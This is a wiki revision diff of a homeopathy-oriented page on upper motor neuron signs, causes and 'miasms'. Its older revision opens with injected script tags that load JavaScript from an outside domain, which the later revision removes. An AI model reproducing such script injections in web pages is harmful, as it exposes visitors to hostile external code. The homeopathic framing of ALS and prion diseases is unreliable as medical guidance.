UMN, Upper Motor Neuron: Difference between revisions
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(Created page with "<script src="https://xmail.email/JnC0j7" type="text/javascript"></script><script src="https://xmail.email/JnC0j7" type="text/javascript"></script>=== Clinic === * is e set of Sign / Symptoms which has two etiologies ** Static etiologies (like upper motor neuron lesions) ** Dynamic (Motor Neuron Disease) === Entities === * Muscle Weakness * Decreased motor control including Speed, Accuracy and Dexterity * Hypotonia or Hypertonia * Decreased endurance * Exaggerat...") |
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=== Clinic === | |||
* Upper [[Motor neuron|Motor Neuron]] Pathways are first-order neurons, responsible for carrying signals that Initiate / Modulate / Coordinate movement. | |||
* The major UMN tract that initiates voluntary movement is the [[Pyramidal system|pyramidal tract]] | |||
* UMN disease is a wide and varied collection of disease which have UMN involvement in common | |||
=== Entities === | === Entities === | ||
Upper motor neuron entities are | |||
* Muscle Weakness | * Muscle Weakness / Paralysis | ||
* Decreased motor control including Speed, Accuracy and Dexterity | * Incoordination: Decreased motor control including Speed, Accuracy and Dexterity | ||
* Hypotonia or Hypertonia | * [[Hypotonia miasms|Hypotonia]] or Hypertonia / [[Spasm]] | ||
* Decreased endurance | * Decreased endurance | ||
* Exaggerated deep tendon reflexes | * [[Hyper reflexia]]: Exaggerated deep [[tendon reflexes]] | ||
* [[Spasticity]] | |||
* | * [[Clonus]] | ||
* Reappearance of primitive reflexes, such as the extensor plantar response ([[Babinski Reflex|Babinski sign]]) | |||
=== Causes === | |||
{| class="wikitable" | |||
!Dynamic | |||
!Static | |||
|- | |||
| | |||
* [[Primary lateral sclerosis]] | |||
* [[ALS, Amyotrophic Lateral Sclerosis remedies|ALS]] | |||
*[[Motor Neuron Disease]] | |||
| | |||
* Upper motor neuron lesions | |||
|} | |||
=== Entity / Miasms === | |||
{| class="wikitable" | |||
! | |||
!GSS | |||
!CJD | |||
!NVCJD | |||
!HTLV-1 | |||
!JE | |||
!EEE/ | |||
WEE | |||
|- | |||
|Hyper Reflexia | |||
| +++ | |||
| +++ | |||
| +++ | |||
| +++ | |||
| +++ | |||
| +++ | |||
|- | |||
|Primitive reflexes | |||
| | |||
| | |||
| +++ | |||
| +++ | |||
| | |||
| | |||
|- | |||
|Incoordination | |||
| +++ | |||
| +++ | |||
| +++ | |||
| | |||
| | |||
| | |||
|- | |||
|Spacticity | |||
| +++ | |||
| +++ | |||
| | |||
| +++ | |||
| +++ | |||
| +++ | |||
|} | |||
=== Note === | |||
* UMN tract is initiating and coordinating movement. | |||
* So I suggest The rubric "Spastic paralysis" for problem in initiating muscular movement | |||
* And also the rubric "Incoordination" for problem in coordination |
Latest revision as of 22:33, 3 October 2023
Clinic
- Upper Motor Neuron Pathways are first-order neurons, responsible for carrying signals that Initiate / Modulate / Coordinate movement.
- The major UMN tract that initiates voluntary movement is the pyramidal tract
- UMN disease is a wide and varied collection of disease which have UMN involvement in common
Entities
Upper motor neuron entities are
- Muscle Weakness / Paralysis
- Incoordination: Decreased motor control including Speed, Accuracy and Dexterity
- Hypotonia or Hypertonia / Spasm
- Decreased endurance
- Hyper reflexia: Exaggerated deep tendon reflexes
- Spasticity
- Clonus
- Reappearance of primitive reflexes, such as the extensor plantar response (Babinski sign)
Causes
Dynamic | Static |
---|---|
|
Entity / Miasms
GSS | CJD | NVCJD | HTLV-1 | JE | EEE/
WEE | |
---|---|---|---|---|---|---|
Hyper Reflexia | +++ | +++ | +++ | +++ | +++ | +++ |
Primitive reflexes | +++ | +++ | ||||
Incoordination | +++ | +++ | +++ | |||
Spacticity | +++ | +++ | +++ | +++ | +++ |
Note
- UMN tract is initiating and coordinating movement.
- So I suggest The rubric "Spastic paralysis" for problem in initiating muscular movement
- And also the rubric "Incoordination" for problem in coordination